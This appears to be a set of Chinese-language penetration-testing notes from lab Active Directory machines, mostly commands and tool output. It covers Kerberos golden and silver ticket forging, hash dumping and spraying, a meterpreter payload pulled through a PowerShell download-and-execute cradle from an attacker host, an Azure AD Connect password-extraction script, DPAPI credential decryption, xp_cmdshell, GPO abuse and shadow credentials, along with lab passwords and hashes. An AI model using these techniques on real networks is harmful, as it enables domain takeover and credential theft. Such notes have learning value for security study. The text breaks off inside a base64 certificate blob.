[*] Opening SVCManager on DC01.SOUPEDECODE.LOCAL.....
[*] Creating service Maxp on DC01.SOUPEDECODE.LOCAL.....
[*] Starting service Maxp.....

注意域名和sid
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain SOUPEDECODE.LOCAL Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SOUPEDECODE.LOCAL/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=Administrator.ccache

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-wmiexec -k -no-pass DC01.SOUPEDECODE.LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
soupedecode.local\administrator

impacket-secretsdump dump 出了 ntds.dit

1
2
3
4
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
导出为hashes.txt
awk -F: '$1 !~ /\$/ && $1 != "krbtgt" && $1 != "Guest" {print $1, $4}' hashes.txt | while read user hash; do nxc smb 192.168.56.126 -u "$user" -H "$hash"; done

msi马反弹shell

1
2
3
4
5
6
7
使用msiexec /quiet /qn /i shell.msi运行msi马

/quiet = Suppress any messages to the user during installation

/qn = No GUI

/i = Regular (vs. administrative) installation

msf接受meterpreterPS1版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─[sg-dedivip-1]─[10.10.14.84]─[skyarrow@htb-a0eszuovi3]─[~/Desktop/www]
└──╼ [★]$ # 在 Kali 上重新生成 Payload
mkdir -p www
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.84 LPORT=5555 -f psh -o www/met-5555.ps1

# 启动 Web 服务器
cd www
python3 -m http.server 8000
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of psh file: 3238 bytes
Saved as: www/met-5555.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.3.135 - - [22/Jun/2026 03:28:46] "GET /met-5555.ps1 HTTP/1.1" 200 -

PS C:\users\public> powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.84:8000/met-5555.ps1')"

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 5555
LPORT => 5555
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.84:5555
[*] Sending stage (232006 bytes) to 10.129.3.135
[*] Meterpreter session 3 opened (10.10.14.84:5555 -> 10.129.3.135:49173) at 2026-06-22 03:28:51 -0400

Azure Admins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.4.147 - - [23/Jun/2026 13:49:57] "GET /Azure_AD.ps1 HTTP/1.1" 200 -
*Evil-WinRM* PS C:\Users\mhope\Documents> IEX(new-object net.webclient).downloadstring('http://10.10.14.84/Azure_AD.ps1')
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Documents> exit

开启禁用用户

1
2
3
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.232.75 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver
[+] ['LOCKOUT', 'ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

DPAPI 加密(CryptProtectData),绑定用户或计算机的 MasterKey。

1
2
3
4
5
──(root㉿kaada)-[/home/kali/Desktop/puppy]
└─# impacket-smbserver share ./ -smb2support
*Evil-WinRM* PS C:\users\public> copy "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" \\10.10.15.116\share\credential_blob
*Evil-WinRM* PS C:\users\public> copy "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407" \\10.10.15.116\share\masterkey_blob

用用户密码(ChefSteph2025!)和SID解密用户的DPAPI主密钥(masterkey),输出用户的主密钥(解密后的Key)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kaada)-[/home/kali/Desktop/puppy]
└─# impacket-dpapi masterkey -file masterkey_blob -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

用第1步得到的主密钥解密存储的凭据(credential_blob),输出明文凭据(用户名和密码)

得到steph.cooper_adm的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kaada)-[/home/kali/Desktop/puppy]
└─# impacket-dpapi credential -file credential_blob -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!


查找并恢复成员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent


Deleted : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
LastKnownParent : OU=Second-Line Support Technicians,DC=voleur,DC=htb
Name : Todd Wolfe
DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass : user
ObjectGUID : 1c6b1deb-c372-4cbb-87b1-15031de169db
objectSid : S-1-5-21-3927696377-1337352550-2781715495-1110

PS C:\> Restore-ADObject -Identity 1c6b1deb-c372-4cbb-87b1-15031de169db

一次经典的白银票据制作过程

1
2
3
4
5
6
7
8
9
10
11
12
白银票据的条件:
1.需要域的SID值
2.域名
3.需要当前服务账户的SID值以及想伪造的服务账户的SID值
4.需要服务账户的密码的NTLM的hash
5.spn服务名称


域中常见的sid值:
512 → Domain Admins
519 → Enterprise Admins
500 → Administrator

拥有账户mssqlsvc/purPLE9795!@

查找域SID值并解码

查看当前域名

1
2
3
4
5
6
7
8
9
SQL (scott  guest@master)> select DEFAULT_DOMAIN() as mydomain;
mydomain
--------
SIGNED
SQL (scott guest@master)> select SUSER_SID('SIGNED\IT')

-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
"""
sid_decode.py

将 Windows 二进制 SID(十六进制)解码为可读格式 S-1-...

用法:
- 单个十六进制字符串:
./sid_decode.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
- 多个:
./sid_decode.py hex1 hex2
- 从 stdin 读取:
echo "0105..." | ./sid_decode.py
./sid_decode.py < hexlist.txt
"""

import sys

def clean_hex(s: str) -> str:
"""清理输入:去掉0x前缀、空格、冒号等"""
s = s.strip().lower()
if s.startswith("0x"):
s = s[2:]
s = s.replace(" ", "").replace("\n", "").replace("\r", "").replace(":", "").replace(",", "")
return s

def decode_sid_from_hex(hexs: str) -> str:
"""把二进制SID(hex)转为 S-1-... 格式"""
hx = clean_hex(hexs)
if len(hx) % 2 != 0:
raise ValueError("十六进制长度必须为偶数。")
b = bytes.fromhex(hx)
if len(b) < 8:
raise ValueError("数据太短,无法构成有效 SID。")

rev = b[0]
subc = b[1]
ident = int.from_bytes(b[2:8], 'big')
if len(b) < 8 + 4 * subc:
raise ValueError("长度不足以容纳所有子授权(sub-authorities)。")

subs = [str(int.from_bytes(b[8 + 4*i:12 + 4*i], 'little')) for i in range(subc)]
return f"S-{rev}-{ident}" + "".join("-" + s for s in subs)

def main(argv):
if len(argv) <= 1:
data = sys.stdin.read().strip()
if not data:
print("用法: sid_decode.py <hex> [hex2 ...]\n或通过 stdin 管道输入十六进制字符串。", file=sys.stderr)
sys.exit(2)
parts = data.split()
else:
parts = argv[1:]

for p in parts:
try:
sid = decode_sid_from_hex(p)
print(f"INPUT : {p}\nOUTPUT: {sid}\n")
except Exception as e:
print(f"INPUT : {p}\nERROR : {e}\n")

if __name__ == "__main__":
main(sys.argv)

查看当前服务账户sid

1
2
3
4
5
SQL (scott  guest@master)> select SUSER_SID('SIGNED\mssqlsvc')

-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'

mssqlsvc的ntlm哈希

1
2
3
iconv -f ASCII -t UTF-16LE <(printf 'purPLE9795!@') | openssl dgst -md4

ef699384c3285c54128a3ee1ddb1a0cc

制作白银票据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 500 Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache

-groups 1105 \ # IT用户的RID(将其加入对应组)
-user-id 500 \ # 伪造的用户RID(Administrator是500)
Administrator # 伪造的用户名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-mssqlclient -k -no-pass dc01.signed.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator dbo@master)>

开启xp_cmdshell

1
2
3
4
5
6
7
8
9
10
SQL (SIGNED\Administrator  dbo@master)> enable_xp_cmdshell;
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\Administrator dbo@master)> RECONFIGURE;
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell whoami
output
---------------
signed\mssqlsvc
NULL

伪造域管的白银票据

使用mssql读取系统文件依赖于bulk功能,该功能会审核用户的模拟权限,这通常需要再系统层面设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb -groups 512,519,1105 -user-id 1103 Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache

-spn MSSQLSvc/DC01.SIGNED.HTB \ # 注意:这里没有端口号
-groups 512,519,1105 \ # 512=Domain Admins, 519=Enterprise Admins,1105是ID的RID,这些都可以通过netexec mssql 10.129.242.173 -u scott -p 'Sm230#C5NatH' --local-auth --rid-brute得到
-user-id 1103 \ # mssqlsvc的RID
mssqlsvc # 用户名
1
2
3
4
5
6
7
8
9
10
11
SQL (SIGNED\mssqlsvc  dbo@master)> sp_configure 'show advanced options', 1
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc dbo@master)> sp_configure 'Ad Hoc Distributed Queries',1;
INFO(DC01): Line 196: Configuration option 'Ad Hoc Distributed Queries' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc dbo@master)> RECONFIGURE
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK N'C:\Users\Administrator\desktop\root.txt', SINGLE_CLOB) AS Contents
BulkColumn
---------------------------------------
b'c7a1f6193eb8be48234c25ed998af777\r\n'
SQL (SIGNED\mssqlsvc dbo@master)>

查询用户sid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PS C:\users\mssqlsvc\desktop> Get-WmiObject win32_useraccount


AccountType : 512
Caption : SIGNED\Administrator
Domain : SIGNED
SID : S-1-5-21-4088429403-1159899800-2753317549-500
FullName :
Name : Administrator

AccountType : 512
Caption : SIGNED\Guest
Domain : SIGNED
SID : S-1-5-21-4088429403-1159899800-2753317549-501
FullName :
Name : Guest

AccountType : 512
Caption : SIGNED\krbtgt
Domain : SIGNED
SID : S-1-5-21-4088429403-1159899800-2753317549-502
FullName :
Name : krbtgt

AccountType : 512
Caption : SIGNED\mssqlsvc
Domain : SIGNED
SID : S-1-5-21-4088429403-1159899800-2753317549-1103
FullName : mssqlsvc
Name : mssqlsvc


利用GPO策略将自身添加进管理员组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PS C:\Users\M.SchoolBus> wget 10.10.15.116/SharpGPOAbuse.exe -O SharpGPOAbuse.exe
PS C:\Users\M.SchoolBus> wget 10.10.15.116/RunasCs.exe -O RunasCs.exe
# 创建一个叫做cat的GPO,链接到指定OU。
PS C:\Users\M.SchoolBus> New-GPO -Name "cat" | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes


GpoId : 8e89d40a-9979-47d0-8813-aaeea0c43789
DisplayName : cat
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2


# GPO任务为将M.SchoolBus添加到本地管理员组
PS C:\Users\M.SchoolBus> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "cat" --force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "cat" is: {8E89D40A-9979-47D0-8813-AAEEA0C43789}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{8E89D40A-9979-47D0-8813-AAEEA0C43789}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
# 立即下发
PS C:\Users\M.SchoolBus> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
PS C:\Users\Public> wget 10.10.15.116/Whisker.exe -o Whisker.exe
wget 10.10.15.116/Whisker.exe -o Whisker.exe
PS C:\Users\Public> ./Whisker.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb
./Whisker.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Listing deviced for sflowers:
[*] No entries!
PS C:\Users\Public> ./Whisker.exe add /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb /password:kaada
./Whisker.exe add /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb /password:kaada
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 8b2c7794-7f69-4339-8ebc-9dee3346e503
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:sflowers /certificate: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 /password:"kaada" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show
PS C:\Users\Public> wget 10.10.15.116/Rubeus.exe -o Rubeus.exe
wget 10.10.15.116/Rubeus.exe -o Rubeus.exe
PS C:\Users\Public> ./Rubeus.exe asktgt /user:sflowers /certificate:MIIJuAIBAzCCCXQGCSqGSIb3DQEHAaCCCWUEgglhMIIJXTCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAiiik3b444+5wICB9AEggTYQ5sbFg9EdVr7sP7RfzdJ1mvid2XQeXL1g3PqyxAq7jf+m2vW3d5/5jJBaWEcJ4qZx+3EcHdxDVMyA4KNJlmAib/rRp661KTjMbb8ALcO9jQBbmx1q6ROh11uXgaY40cpEsMUZ9Ojj8ygCKUjjqS7dtsB7bwnpJpy8jFO1wXULWviE4KnxVMKZLTRajrYdTX4rCamH2tHw2uWeOGgIgh8ubFkuAOcS4d2BKtnbZLBuUrqWe6RAn6hspQIq3KtxxCHqJialvadBOHp4nVS0BrILd9UOtM9LBXfkg4p4IvR4eIHh3RuZIExSF9xMcarZ1RqcjEpNnIPW2SPQQIYDEPnHw2Wy4UgFMjqKfPZvM6b4Rqt3r0SoRZSJ9rAuy7/JnuKeSp5lWMNDQ0Yl8dfKGHmeqH3xXaCQ4luJeoorMn9hA8eX5PfG91PAhkRY1mXCf37L99+qjE0LXzEQG91Cnp5oJ3oZGOUa1Hn1CVgcxIx1MGvVBw2mJ7w5EapIcZ2s9UPyOGpeZt/MgmWK9V/M7liZZKcbZutF3ZyAlKVIYKULadiQmbXC39WzA1vCrPczgegnqYELQ3HjKhcE1HiRnFxmNeAxN4WT8MLY9gNBxthLcVjVlM7UtjzY1Bi3GU05DWSdd8KtNqOB1taboxQ3DaFXNzadbbZyjG7lcWYUnA9ghc8twvQ8PFmxW8DIGbSZPZNFhrf4QATvZ62Q0GN/H1fbBRLN4Q5EZY2//rj8GHU7kNj+Rjy/GTenYQ+21HkF1/jLLZEziGaWfTTj90CnNhEMnGidGOiXXCH2VMmNs4+4/VXu57y4lgV4L54vvBYw4NXZHRkvTXi47xGjZ2/DVQhImyrDfHIHrygIKfud41d4JDiC9M